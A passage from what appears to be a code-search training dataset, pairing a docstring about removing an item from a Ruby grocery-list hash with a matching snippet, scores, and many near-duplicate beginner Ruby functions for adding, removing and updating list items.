"def add_item(list,item_name, qty)\n list[item_name] = qty\nend",
"def add_item(list, item, qty)\n list[item] = qty\n list\nend",
"def add_item(list, item_name_string, quantity=1)\r\n\titem_key = item_name_string.to_sym\r\n\tlist[item_key] = quantity\r\n\treturn list\r\nend",
"def add(list, item, quantity)\r\n\tlist[item] = quantity\r\n\tlist\r\nend",
"def add_item(list, item_name, quantity=1)\n list[item_name] = quantity\nend",
"def add (list, item, quantity)\n\tlist[item] = quantity\nend",
"def add_new_items(list, item_name, quantity=1)\n list[item_name] = quantity\n list\nend",
"def add_item(list, item_name, quantity)\n list[item_name.to_sym] = quantity\n list \nend",
"def add_item(name, quantity, list)\n list[name] = quantity\n p list\n return list\nend",
"def add_item(list, item, quantity)\n list[item] = quantity\nend",
"def add_item(list, item, quantity)\n list[item] = quantity\nend",
"def list_add(list, item_name, quantity=1)\n list[item_name] = quantity\n p list\nend",
"def add_item(list, item_name, quantity = 1)\n # steps:\n # check IF item is included in list\n # increment item by quantity\n # ELSE - set item as new key and assign it to quantity as value\n list.include?(item_name) ? list[item_name] += quantity : list[item_name] = quantity\n\n # output: return the updated hash\n list\nend",
"def add_item(hash_list, new_item, quantity = 1)\n hash_list[new_item] = quantity\n p hash_list\nend",
"def add_item(item, list, quantity)\n list[item] = quantity\nend",
"def add_item(list, item, quantity)\n list[item] = quantity\n p list\nend",
"def add_item(list, item, quantity = 1)\r\n# input: list, item name, and optional quantity\r\n# steps: \r\n # check for optional quantity. if not present, set to default (1)\r\n list[item] = quantity\r\n # update list with input\r\n puts \"#{item.upcase} has been added to your grocery list!\"\r\n p list\r\n# output: complete list, updated\r\nend",
"def add_to_list(list_hash, item, qty)\r\n\tlist_hash[item] = qty\r\n\tlist_hash\t\r\nend",
"def add_item(list, new_item, opt_quant)\n list_hash = list\n if opt_quant == nil || opt_quant == 0\n opt_quant = 2\n end\n list_hash[new_item] = opt_quant\n return list_hash\nend",
"def add_item(list, item, quantity=0)\n list[item] = quantity\n list\nend",
"def add_item(list, item, qty)\n list[item] = qty\n p list\nend",
"def add_item(new_list, item_name, quantity=1)\r\n \r\n new_list[item_name] = quantity\r\n \r\nend",
"def add_item_or_update_quantity(hash_of_list, item_name, item_quantity = 1)\n hash_of_list[item_name] = item_quantity\n hash_of_list\nend",
"def add_item(list, key, quantity)\n list[\"#{key}\"] = quantity\n list\nend",
"def add_item(list, item_name, quantity = 1)\r\n list[item_name] = quantity\r\nend",
"def add_item(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend",
"def add_item_to_list(hash, item_to_add, qty)\n hash[item_to_add] = qty\nend",
"def add(list, item, quantity)\r\n list[item] = quantity\r\n list\r\n\r\nend",
"def add_item (list, item, qty)\n list[item]=qty\nend",
"def add_item(list, item, quantity=1)\r\n# input: item name and optional quantity\r\n# steps: \r\n # Use shopping list as input\r\n # Use the item to be added as 2nd input\r\n # Use the item quantity as a 3rd input (look up whether optional input is possible)\r\n # Add the item and quantity to the shopping list\r\n list[item] = quantity\r\n# output: shopping list with the added item and quantity\r\n printlist(list)\r\nend",
"def add_item(list, item, quantity=1)\r\n\tlist[item] = quantity\r\n#\tp list\r\nend",
"def add_item(list, item, quant)\n list[item] = quant\nend",
"def add_item(item_name, item_qty)\n# $list_items[item_name] = item_qty\n # my_hash[key] = value\n # This will create a NEW key value pair\n # OR update (aka replace) the value for an existing key.\n \n # my_hash[key] += value\n # will INCREASE the value for an existing key.\n if $list_items.include?(item_name)\n # Increase that item\n $list_items[item_name] += item_qty\n else\n # Create the new item\n $list_items[item_name] = item_qty\n end\nend",
"def add_item(list, item, quantity = 1)\n list[item] = quantity\n list\nend",
"def add(input_list, item, quantity)\n input_list[item] = quantity\nend",
"def add_item(list, item, quantity)\n if list.has_key?(item)\n list[item] = list[item] + quantity\n else\n list[item] = quantity\n end\n return list\nend",
"def list_add(list, item_name, quantity=1)\r\n list[item_name] = quantity\r\n p list\r\nend",
"def add_to_list(list, item, quantity)\n #method to add items\n list[item] = quantity\nend",
"def add_item(list, item, quantity=1)\n list[item] = quantity\n p list\nend",
"def add_to_list(list, item, quantity = 1)\n\tlist[item] = quantity\nend",
"def add_item(list, item_name, optional_quantity)\n\nlist[item_name] = optional_quantity\n\n# input: list, item name, and optional quantity\n# steps:\n # Add new hash key based on item name\n # Tell method there may or may not be a argument passed in for quantity\n # assign quantity to 'optional-quantity' argument in method definition\n # Access method that contains initialized hash def add_item(create_list, item_name, quantity = 3)\n# output:\n # updated grocery list\nend",
"def add_item(list, item, quant)\n list[item] = quant\nend",
"def add_item(list, item, quantity=1)\n list[item] = quantity\nend",
"def add_to_list(item,quantity,list)\n list[item]=quantity\nend",
"def add_item(item, quantity=1, hash)\n# get item name and quantity\n# if there's no quantity, set it to 1\n\thash[item] = quantity\n\t# output: return the hash with updated key/value pairs\n\thash\nend",
"def add_item(item, quantity, list)\r\n list[item] = quantity\r\n p list\r\n list\r\nend",
"def add_item(grocery,item_name,quantity)\n # input: list, item name, and optional quantity\n # steps: insert item_name as a key and quantity as a value to the hash \n grocery[item_name] = quantity\n # output:display the latest list\n display_list(grocery)\nend",
"def add_item(list, item, qty = 1)\n list[item] = qty\n return list\nend",
"def add_item(current_list, item_added, quantity)\n current_list[item_added] = quantity\n current_list\nend",
"def add_item(list,name,quantity=1)\n list[name]=quantity\n return list\nend",
"def add_item(list,item,quantity=1)\r\n list[item] = quantity\r\n list\r\nend",
"def add_item(item, list, quantity=1)\n if !list.has_key?(item)\n list[item] = quantity\n return list\n else\n list[item] += quantity\n return list\n end\nend",
"def add_to_list(list,item,quantity)\n\tupdate_item(list,item,quantity)\nend",
"def add_to_grocery_list(grocery_list, item_name, quantity=1)\n # steps: add item to hash and set quantity\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend",
"def add_item(list, item_name, quantity = 1)\n if list.include?(item_name)\n list[item_name] += quantity\n else\n list[item_name] = quantity\n end\n list\nend",
"def add_item(list, item, qty = 1)\n list[item] = qty\n\n list\nend",
"def add_item(list,item,quantity=1)\n list[item] = quantity\nend",
"def add_item(list,item,quantity=1)\n list[item] = quantity\nend",
"def add_item(list, item, quantity)\n #list = item.push\n list[item] = quantity.to_i\n list\nend",
"def add_item(list, item_name, qty=1)\n if list.has_key?(item_name)\n list[item_name] += qty\n else\n list[item_name] = qty\n end\n list\nend",
"def add_item(list, list_item, item_quantity)\n if list.has_key?(list_item)\n puts \"Item is already in list\"\n else\n list[list_item] = item_quantity\n end\n p list\n list\nend",
"def add_item(list, item_to_be_added, qty = 1)\n # if !list.has_key? item_to_be_added\n # list[item_to_be_added] = qty\n # end\n list[item_to_be_added] = qty if !list.has_key? item_to_be_added\n list\nend",
"def add_item(list, item, qty=1)\n if !list.has_key?(item)\n list[item] = qty\n end\n\n return list.each {|k,v| puts \"#{k}: #{v}\"}\nend",
"def add_item(list, new_item, quantity=1)\n list[new_item] = quantity \nend",
"def add_item(list, item, qty=1)\n list[item] = qty\n p \"#{item} : #{list[item]}\"\nend",
"def add_item!(list, item, qty=1)\r\n list[item] = qty\r\n list\r\nend",
"def add_item(list, new_item, qty=1)\n list[new_item] = qty\nend",
"def update_list(item_name, item_list, quantity)\n add_list(item_name, item_list, quantity)\nend",
"def add_list(list,new_item,quantity=1)\n list[new_item] = quantity\n list\nend",
"def add_item(list_name, item_name, quantity = 1)\r\n if list_name.has_key?(item_name)\r\n list_name[item_name] += quantity\r\n else\r\n list_name[item_name] = quantity\r\n end\r\nend",
"def add_item(shopping_list, item, quantity=1)\r\n\r\n\tshopping_list[item] = quantity\r\n#\treturn shopping_list\r\nend",
"def add_item(shopping_list, item, quantity)\r\n\tshopping_list[item] = quantity\r\n\tshopping_list\r\nend",
"def add_item(list, item, quantity = 1)\r\n list[item] = quantity\r\nend",
"def list_update(hash_items, item_name, quantity)\n hash_items[item_name] = quantity\n return hash_items\nend",
"def add_item(hash_of_items, item, quantity=1)\n hash_of_items[item] = quantity\n hash_of_items\nend",
"def add(list, item, quantity)\r\n# input: item name and optional quantity\r\nlist.include?(item) ? list[item] += quantity : list[item] = quantity\r\np list\r\nend"
] |
[
"0.8774311",
"0.8700462",
"0.852629",
"0.8448631",
"0.84482163",
"0.84482163",
"0.8448165",
"0.84311384",
"0.8388082",
"0.8360261",
"0.83568925",
"0.83361095",
"0.8306409",
"0.83049697",
"0.830283",
"0.8271767",
"0.8205941",
"0.8202322",
"0.8194969",
"0.81915116",
"0.8184593",
"0.81712645",
"0.816556",
"0.8150621",
"0.8134361",
"0.8131294",
"0.8112172",
"0.80928576",
"0.8086818",
"0.8081286",
"0.80755484",
"0.80698067",
"0.805959",
"0.805959",
"0.80389905",
"0.80311096",
"0.8023722",
"0.801907",
"0.80114675",
"0.80091023",
"0.8007661",
"0.7998816",
"0.79974395",
"0.7973079",
"0.79411614",
"0.793537",
"0.7935034",
"0.7931012",
"0.79226387",
"0.79097235",
"0.7896602",
"0.7883434",
"0.7882084",
"0.7871113",
"0.7869686",
"0.7865537",
"0.78645444",
"0.78624916",
"0.78600967",
"0.7851896",
"0.7851792",
"0.7838951",
"0.7833396",
"0.7830463",
"0.7818842",
"0.7816833",
"0.7816325",
"0.7806896",
"0.7798741",
"0.77981925",
"0.77961195",
"0.77878046",
"0.77808344",
"0.7775806",
"0.7773033",
"0.7760468",
"0.7753671",
"0.7745132",
"0.7744015",
"0.7738071",
"0.7738071",
"0.7737935",
"0.7730066",
"0.7727177",
"0.7701324",
"0.76994383",
"0.769593",
"0.76932716",
"0.76781327",
"0.76565593",
"0.7655751",
"0.76481855",
"0.76397854",
"0.7629655",
"0.7597709",
"0.75949883",
"0.7588503",
"0.75774497",
"0.7576746"
] |
0.8591758
|
3
|
Method to remove an item from the list input: list, item_name steps: define remove_item(list, item_name) delete the key value of item_name output: hash
|
def remove_item(list, item_name)
list.delete(item_name)
list
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove_item(list_name, item)\r\n# input: list, item name\r\n# steps: delete item name and value from hash\r\n list_name.delete(item)\r\n# output: updated hash with item removed\r\np list_name\r\nend",
"def remove_item(input_hash, item)\n# input: list, item name, and optional quantity\n# steps: use input item to delete key\n input_hash.delete(item)\n# output: hash data structure of key/value pairs\nreturn input_hash\nend",
"def list_remove(hash_items, item_name)\n hash_items.delete(item_name)\n return hash_items\nend",
"def remove_item(my_list, item)\r\n# input: an item (something already in the list)\r\n# steps:\r\n my_list.delete(item)\r\n \r\n my_list\r\n# declare hash\r\n# delete method for item\r\n# output: hash with removed item\r\nend",
"def remove_item(list, item_name)\n if list.has_key?(item_name)\n list.delete(item_name)\n end\n list\nend",
"def remove_item(list, item_name)\n\tlist.delete(item_name){|item| list[item] = item_name}\n\tp list\nend",
"def remove_item(list, item_name)\r\n\tif list.has_key?(item_name)\r\n\t\tlist.delete(item_name)\r\n\tend\r\n\tlist\r\nend",
"def remove_item(list, item_name)\n list.delete(item_name)\nend",
"def remove_item(list, name)\r\n# create remove method with name arguments\r\n# check if item is in the hash\r\n if list[name] != nil\r\n# remove item if present\r\n list.delete(name)\r\n end\r\n# output: print \"your item has been deleted from the hash\"\r\n return list\r\nend",
"def remove_item(list, item_name)\n list.delete(item_name.to_sym)\n list\nend",
"def remove_item(list, item_name)\n list.delete(item_name)\n list\nend",
"def remove_item(hash_list, item)\n hash_list.delete(item)\n p hash_list\nend",
"def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tp list\nend",
"def remove_item(list, item_name)\r\n list.delete(item_name)\r\n list\r\nend",
"def remove(list, item_name)\n\tlist.delete(item_name)\nend",
"def remove_item(list_items, item_name)\n list_items.delete(item_name)\nend",
"def remove_item(list, item)\n list_hash = list\n if list_hash.keys.include?(item)\n list_hash.delete(item)\n end\n return list_hash\nend",
"def remove_item(item,the_lists)\r\n\t\t# steps: search the hash for the key that match the item name\r\n the_lists.delete_if{|item_name,item_quantity| item_name == item}\r\n\t\t#then delete the element\r\n\r\n\t\tprint_list(the_lists)\r\nend",
"def remove_item(list, key_name)\r\n\tlist.delete(key_name)\r\n\treturn list\r\nend",
"def remove_item(item, list)\n\t# steps: delete the item if it exists\n\tlist.delete_if {|list_item| list_item == item.to_sym}\n\t# output: updated list\n\tlist\nend",
"def remove_item(list, item_name)\n # steps:\n # check IF item is included in list\n # delete the item\n # ELSE, print a message to the user\n list.include?(item_name) ? list.delete(item_name) : puts(\"No #{item_name} on the list.\")\n \n # output: return updated hash or the original hash\n list\nend",
"def remove_an_item(list_hash,item_name)\n if list_hash[item_name]\n puts \"Deleting item: #{item_name}.\"\n list_hash.delete(item_name)\n else\n puts \"Item does not exist.\"\n end\n\n list_hash\nend",
"def remove_item(list, name)\n list.delete(normalize_string(name))\n return list\nend",
"def remove_item(item_to_remove)\n $list_hash.delete_if{|current_item, quantity|item_to_remove==current_item} #goes through entire item in delete if hash if item in hash delete from hash\nend",
"def remove_item(list_name,item_to_remove)\n #find all array elements in given list with the given item name and delete them\n list_name.delete_if { |x| x[:item_name] == item_to_remove}\n end",
"def remove_item(new_list, item_name)\r\n new_list.delete(item_name)\r\nend",
"def remove_from_grocery_list(grocery_list, item_name)\n # steps: remove item from hash\n grocery_list.delete(item_name.to_sym)\n # output: explicit return updated hash\n grocery_list\nend",
"def remove_item(list, rm_item)\n# steps:\n # use delete method with key (item) as argument\n list.delete(rm_item)\n # return list\n list\nend",
"def remove(list, item_name)\r\n\tlist.delete(item_name)\r\n\tp list\r\nend",
"def remove_item(list, item)\n\t# if list.keys.include?(item)\n\t# \tlist.delete(item)\n\t# end\n\t# list.delete(item) if list.keys.include?(item)\n\tlist.delete_if { |key, value| key == item } \n\t# Destructive method\n\tp list\nend",
"def remove_item(list, item_name)\n\tlist.delete_if { |item, quantity| item === item_name }\nend",
"def remove_item(list, item)\n\tlist.delete(item)\n\tlist\nend",
"def remove_item(list,item)\n\tlist.delete(item)\nend",
"def remove_item(list, item)\n\tlist.delete(item)\nend",
"def remove_item (list, item)\n list.delete(item)\nend",
"def remove_item(hash_of_items, item)\n hash_of_items.delete(item)\n hash_of_items\nend",
"def remove_item(list_name, item_name)\r\n if list_name.has_key?(item_name)\r\n list_name.delete(item_name)\r\n else\r\n p \"Item is not on the list\"\r\n end\r\nend",
"def remove_item(list, item)\n list.delete(item)\nend",
"def remove_item(list, item)\n list.delete(item)\nend",
"def remove_item(hash, item_name)\r\n hash.delete(item_name)\r\n hash\r\nend",
"def remove_item(list,item)\r\n list.delete_if {|key,value| key == item}\r\n list\r\nend",
"def remove_item (list, item)\n list.delete(item)\nend",
"def remove_item(list, item)\n list.delete(item)\nend",
"def remove_item(item_list, item)\r\n item_list.delete(item)\r\n item_list\r\nend",
"def remove_item(list, item)\n list.delete(item)\n return list\nend",
"def remove_item(list, item)\n if list.has_key?(item)\n list.delete(item)\n else\n puts \"ERROR: Item not in list\"\n end\n return list\nend",
"def remove_item(list, item)\n list.delete(item)\nend",
"def remove_item(list, item_removed)\n list.delete(item_removed)\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(list, item_name)\r\n # list.delete_if { |item, amount| item == item_name }\r\n list.delete(item_name)\r\nend",
"def remove_item(list, item)\r\n\tlist.delete(item)\r\n\treturn list\r\nend",
"def remove_item(list,item)\n\tlist.delete(item)\n\tp list\nend",
"def remove_item(list, item)\r\n list.delete(item)\r\n list\r\nend",
"def remove_item(list, item_name)\n\t{|list| list.delete(\"mangoes\")}\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(item, list)\n list.delete(item)\nend",
"def remove_item(list, item)\n list.delete(item)\n return list\nend",
"def remove_item(list,item)\r\n\r\n list.delete(item)\r\n list\r\nend",
"def removeitem(list, item)\n\n list.delete_if { |iterator| iterator[:item] == item }\nend",
"def remove_item(list, item_to_be_removed)\n # if list.has_key? item_to_be_removed\n # list.delete(item_to_be_removed)\n # end\n list.delete(item_to_be_removed) if list.has_key? item_to_be_removed\n list\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(list, item)\n list.delete(item)\n list\nend",
"def remove_item(item, list)\n list.delete(item)\n return list\nend",
"def remove_item (item, list)\n list.delete(item)\n return list\nend",
"def list_remover(list,item) #takes 2 arguments, 1 list and name of an item\n\tlist.delete(item)\t\n\t\nend",
"def remove_item(name, list)\n list.delete(name)\n p list\n return list\nend",
"def remove(input_list, item)\n input_list.delete(item)\nend",
"def delitem(list, item)\n# input: list and key\n list.delete(item)\n# steps: delete a given key item\nend",
"def remove_item(item, hash)\n hash.delete(item)\n return hash\nend",
"def remove_item (item,list)\nlist.delete(item)\nlist\nend",
"def remove_item(list, list_item)\n if list.has_key?(list_item)\n list.delete(list_item)\n else\n puts \"Item is not in list\"\n end\n p list\n list\nend",
"def remove_item(list, item_remove)\n list.delete(item_remove)\nend",
"def remove_by_name(list, item_to_remove)\n list.each do |current_item|\n if current_item[\"productName\"] == item_to_remove[\"productName\"]\n list.delete current_item\n end\n end\n end",
"def remove_item(item, hash)\n hash.delete(item)\n return hash\nend",
"def list_remover(list_input_remover, item_name_remove)\n list_input_remover.delete(item_name_remove)\nend",
"def remove (list, item)\n\tlist.delete(item)\nend",
"def remove_item(list, item)\n list.delete(item)\n p list\nend",
"def remove_item(list, item)\n list.delete(item)\n p list\nend",
"def remove_item(list, item)\n list.delete(item)\n p list\nend",
"def remove(list, item)\n\tlist.delete(item)\nend",
"def remove(list, item)\n\tlist.delete(item)\n\tlist\nend",
"def remove_from_list(list, item)\n\tlist.delete(item)\nend",
"def remove_item(list, item)\r\n# input: item to be removed, list\r\n# steps: \r\n # check if item exists\r\n # remove item\r\n list.delete(item)\r\n # print success message of item removed\r\n puts \"#{item.upcase} has been removed to your grocery list!\"\r\n p list\r\n# output: updated list\r\nend",
"def rem_list(item_name, item_list)\n item_list.delete(item_name)\n puts \"You just removed #{item_name} from the list.\"\nend",
"def del_item(list, item_to_del)\n list.delete(item_to_del)\nend",
"def remove_item(list,item)\n list.delete(item)\n p list\nend",
"def remove_item(new_list, item)\n \n new_list.delete(item)\n \n new_list\nend",
"def remove_an_item(list, item)\n #method to remove item\n list.delete(item)\nend",
"def remove_from_list(list_hash, item)\r\n\tlist_hash.delete(item) { |el| \"#{el} not found\" }\r\n\tlist_hash\r\nend",
"def delete_item(list, item)\n\tlist.delete(item)\n\tlist\nend",
"def remove_item(list, item)\n list.delete(item)\n return list.each {|k,v| puts \"#{k}: #{v}\"}\nend",
"def remove_item(hash, item)\n hash.delete(item)\n return hash\nend",
"def delete_item(list, item)\n\tlist.delete(item)\n\treturn list\nend",
"def remove_item(list, item)\r\n list.delete(item)\r\n p list\r\nend",
"def remove_item(hash, item)\n hash.delete(item)\n hash\nend"
] |
[
"0.8774765",
"0.86184764",
"0.85759187",
"0.8492378",
"0.8473827",
"0.845146",
"0.84225744",
"0.83310723",
"0.83160704",
"0.8312228",
"0.8308413",
"0.828502",
"0.82580006",
"0.8244072",
"0.82082045",
"0.8201826",
"0.81898415",
"0.81670845",
"0.81590784",
"0.8155449",
"0.81379044",
"0.8091482",
"0.8067614",
"0.8006496",
"0.8000648",
"0.79977185",
"0.7989872",
"0.7969374",
"0.7960204",
"0.79562545",
"0.7954544",
"0.79297245",
"0.79274076",
"0.79248",
"0.79240775",
"0.79165876",
"0.79042834",
"0.790179",
"0.790179",
"0.7901129",
"0.78917944",
"0.7885559",
"0.78811",
"0.788095",
"0.78770864",
"0.78740823",
"0.7866597",
"0.7860794",
"0.7857319",
"0.7857319",
"0.7857319",
"0.7857319",
"0.7853134",
"0.7847225",
"0.7842475",
"0.7839463",
"0.7826433",
"0.7826116",
"0.782461",
"0.78236085",
"0.7809248",
"0.78046954",
"0.78018934",
"0.77922726",
"0.77922726",
"0.7789758",
"0.7786495",
"0.7781582",
"0.7777043",
"0.7773686",
"0.77608645",
"0.7754231",
"0.77523875",
"0.7744326",
"0.7742899",
"0.7740394",
"0.7719232",
"0.7717497",
"0.7705805",
"0.77025235",
"0.77025235",
"0.77019477",
"0.7694961",
"0.7690056",
"0.76827663",
"0.7677435",
"0.7672454",
"0.7670507",
"0.7668397",
"0.7657894",
"0.7646971",
"0.7624149",
"0.7612613",
"0.7610974",
"0.7605936",
"0.7589309",
"0.75725055",
"0.75577784"
] |
0.83436316
|
9
|
Method to update the quantity of an item input: list, item name, and quantity steps: define update_quantity(list, item_name, quantity) update the value of item_name to the new quanity output: hash
|
def update_quantity(list, item_name, quantity)
list[item_name] = quantity
list
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_quanity(list, item_name, new_quantity)\n\n\tlist[item_name] = new_quantity\n\tp list\nend",
"def update_quanity(list, item, quantity)\r\n# input: list, item and quantity to be updated to\r\n# steps:\r\n # check if item exists\r\n # update quantity\r\n list[item] = quantity\r\n # print success \"your cart has been updated!\"\r\n puts \"The quantity for #{item.upcase} has been updated in your grocery list!\"\r\n p list\r\n# output: updated list with new quantity\r\nend",
"def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity.to_i\n\tlist\nend",
"def update_quantity(list, item_name, quantity)\n\tlist.each do |item, qty|\n\t\tif item === item_name\n\t\t\tlist[item] = quantity\n\t\tend\n\tend\nend",
"def update_quantity(list_name, item, value)\r\n# input: list, item name, new quantity\r\n# steps: find item in the hash and change quantity to new quantity\r\n list_name[item] = value\r\n# output: updated hash with new value for item key\r\n p list_name\r\nend",
"def updated_quantity(list, item_name, quantity)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend",
"def update_quantity(list, item_name, qty)\n list[item_name] = qty\nend",
"def update_quantity(item, list, quantity)\n add_item(item, list, quantity)\nend",
"def update_quantity(list, item, quantity)\n\tlist[item] = quantity\n\tlist\nend",
"def update_quantity(list, item_name, quantity)\r\n list[item_name] = quantity\r\nend",
"def update_quantity(list, item_name, new_quantity)\n list[item_name] = new_quantity\nend",
"def update_quantity(list, item_name, new_quantity)\n list[item_name] = new_quantity\nend",
"def update_quantity(new_list, item_name, quantity)\r\n \r\n new_list[item_name] = quantity\r\nend",
"def update_quantity(list, item, quantity)\n\tadd_to_list(list, item, quantity)\nend",
"def update_quantity_of_items(list, item, quantity)\n list[item] = quantity\nend",
"def update_quantity(list, item, quantity)\n\tlist[item] = quantity\n\tp list\nend",
"def update_quantity(item_name, grocery_list, quantity)\n grocery_list[item_name] = quantity\n grocery_list\n end",
"def update_quantity(list, upd_item, new_quantity)\n# steps:\n # reassign key (item) a new value (quantity)\n list[upd_item] = new_quantity\n # return list\n list\nend",
"def update_item_quantity(list, item, quantity)\n list[item] = quantity\n list\nend",
"def update_quantity(list, item_name, quantity)\n # steps:\n # check IF item is included in list\n # update the item’s quantity\n # ELSE, print a message to the user\n list.include?(item_name) ? list[item_name] = quantity : puts(\"No #{item_name} on the list.\")\n\n # output: return the updated hash or the original hash\n list\nend",
"def update_quantity(list, item, quantity)\n #method to update quantity\n #can also add items\n list[item] = quantity\nend",
"def update(list, item_name, quantity)\n\tlist[item_name] = quantity\nend",
"def update_item_quantity(hash_of_items, item, quantity)\n hash_of_items[item] = quantity\n hash_of_items\nend",
"def update_quantity_in_grocery_list(grocery_list, item_name, quantity)\n # steps: update quantity for item\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend",
"def update_quantity(list, item, quant)\n list[item] = quant\nend",
"def update_quantity(list, item, qty)\n list[item] = qty\n list\nend",
"def update_qty(list_items, item_name, new_qty)\n raise ArguementError.new(\"This item does not exist\") unless list_items.include?(item_name)\n list_items[item_name] = item_qty\nend",
"def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend",
"def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend",
"def update_item(list, item, new_quantity)\n\tlist[item] = new_quantity\n\tlist\nend",
"def update_quantity(item, list, quantity)\n list[item] = quantity\n return list\nend",
"def update_quantity(list, item, quantity)\r\n\tlist[item] = quantity\r\n\treturn list\r\nend",
"def update_quantity(list, item, quantity)\n list[item] = quantity\nend",
"def update(item, quantity, list)\n\t# steps: if the item is in the list\n\tif list.include? item.to_sym\n\t\t# update the quantity\n\t\tlist[item.to_sym] = quantity\n\telse \n\t\tadd_item(item, quantity, list)\n\tend\n\t# output: return the updated list\n\tlist\nend",
"def update_quan(list, item, quantity)\n list[item] = quantity\nend",
"def update_quantity (list, item, quantity)\n list[item] = quantity\nend",
"def update_quantity (list, item, quantity)\n list[item] = quantity\nend",
"def update_quantity (quantity, item)\n $list.each do |list_item|\n if list_item[:item] == item\n list_item[:quantity] = quantity\n end\n end\nend",
"def update_quantity(name, quantity, list)\n list[name] += quantity\nend",
"def update_qty(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend",
"def update_quantity(list, item, quant)\n list[item] = quant\nend",
"def update_quantity(grocery,item_name,new_quantity)\n # input:list, item name, and new_quantity\n # steps: change old value of item_name with the new_quantity\n grocery[item_name] = new_quantity\n # output: display the latest list\n display_list(grocery)\nend",
"def update_quantity(list, item, updated_quantity)\n list[item] = updated_quantity\n list\nend",
"def update_quantity(list, item, quantity)\n list[item] = quantity\nend",
"def list_update(hash_items, item_name, quantity)\n hash_items[item_name] = quantity\n return hash_items\nend",
"def update_item (list,item,quantity)\n\tlist[item] = quantity\nend",
"def update(list, item, quantity)\n\tlist[item] = quantity\n\tlist\nend",
"def update_quantity(list,item,item_count)\n\tlist[item] = item_count\nend",
"def update_quantity(shopping_list, item, quantity)\n shopping_list[item] = quantity\nend",
"def update_item(list, item, quantity)\n\tlist[item] = quantity\n\treturn list\nend",
"def item_quantity(list, item_to_update, quantity)\n list[item_to_update] = quantity \nend",
"def update_quantity_of_item(list,item,quantity)\r\n add_item_to_list(list,item,quantity)\r\n list\r\nend",
"def update_qty(shopping_list, item, quantity)\r\n\r\n\tadd_item(shopping_list, item, quantity)\r\n\r\nend",
"def update_quantity(groceries_list, item, new_quantity)\n\t# Change value for inputted key to the desired quantity\n\tgroceries_list [item] = new_quantity\n\tgroceries_list\nend",
"def update_item(list, item, quantity)\r\n add_item(list, item, quantity)\r\n# input: Shopping list, item to be updated, new quantity\r\n# steps:\r\n # Use shopping list as input\r\n # Use item to be updated as input\r\n # Use new quantity to be updated as input\r\n # Update the quantity of the item on the list\r\n # list[item] = quantity\r\n# output: shopping list with updated quantity\r\n # printlist(list)\r\nend",
"def update_quantity(list, item, quantity)\nlist[item] = quantity\nlist\nend",
"def update_quantity(hash, item, quantity)\n\thash[item] = quantity\n\treturn hash\nend",
"def update_quantity (item,list, quantity)\n list[item] = quantity\nlist\nend",
"def update_item(list_name, item_name, quantity)\r\n list_name[item_name] = quantity if list_name.has_key?(item_name)\r\nend",
"def update(item,quantity,list)\n\tlist[item] = quantity\nend",
"def update_quantity(list, item, quantity)\n list[item] = quantity.to_i\n list\nend",
"def update_quantity(grocery_list, item, new_quantity)\n\tif grocery_list.include?(item.to_sym)\n\t\tgrocery_list[item.to_sym] = new_quantity\n\telse\n\t\tputs \"item name invalid\"\n\tend\nend",
"def update_quantity (item, quantity)\n item_hash[item] = quantity\nend",
"def update_item(list,item,quantity)\n list[item] = quantity\nend",
"def update_item(list,item,quantity)\n list[item] = quantity\nend",
"def update_quantity(hash, item_name, quantity)\r\n hash[item_name] = quantity\r\n hash\r\nend",
"def update_quantity(grocery_list, item_name, quantity)\n\tadd_item(grocery_list, item_name, quantity)\n\treturn grocery_list\nend",
"def update_quantity(list, item, quantity)\n list[item] = quantity\n p list\nend",
"def update_qty(list_hash, item, qty)\r\n \tlist_hash[item] = qty\r\n \tlist_hash\r\nend",
"def update_item_quantity(list_hash,item_name,quantity)\n if list_hash[item_name]\n puts \"Updated the quantity of #{item_name} to: #{quantity}.\"\n list_hash[item_name] = quantity\n else\n puts \"Item does not exist.\"\n end\n\n list_hash\nend",
"def update_quantity(grocery_list, item_to_update, qty)\n grocery_list[item_to_update] = qty\n grocery_list\nend",
"def update_item_quantity(list, updateitem, new_qty, print=true)\n\t# input: list, item name (string), new quantity (int or string)\n\t# output: updated list\n\n\tmatch_index = find_item(list, updateitem)\n\tif not match_index\n\t\t# alert if not found\n\t\tmsg = \"\\n\\n** WARNING update_item_quantity failure: item \"\n\t\tmsg += \"\\\"#{removeitem}\\\" not found in list. List unchanged. **\"\n\t\treturn list\n\telse\t\t\t\n\t\t# update list\n\t\tlist.delete_at(match_index)\n\t\tlist.insert(match_index, [updateitem.strip.capitalize, new_qty.to_s])\n\t\t# print success message\n\t\tmsg = \"\\n\\nList updated: item '#{updateitem}' quantity \"\n\t\tmsg += \"updated to '#{new_qty}'.\\n\"\n\t\tputs msg\n\t\t# print updated list\n\t\tprint_list(list) if print\n\t\treturn list\n\tend\nend",
"def update_item(list, name, change_in_quantity)\n normalize_string(name)\n if (list[name] + change_in_quantity <= 0)\n remove_item(list, name)\n else\n list[name] += change_in_quantity\n return list\n end\nend",
"def update_item(item, quantity, list)\n\tlist.each do |i, q|\n\t\tif list.has_key?(item)\n\t\t\tlist[item] = quantity\n\t\telse \n\t\t\tputs \"List does not contain that item.\"\n\t\t\tbreak\n\t\tend\n\tend\nend",
"def update_quantity(item, grocery_list, quantity)\n grocery_list[item] = quantity\n return grocery_list\n end",
"def update_quantity(item, grocery_list, quantity)\n grocery_list[item] = quantity\n return grocery_list\n end",
"def change_quantity(list, item, new_qty)\n list[item] = new_qty\nend",
"def change_quantity(list, item, qty)\n list[item] = qty\n list\nend",
"def update (list, item, quantity)\n\tlist[item] = quantity\nend",
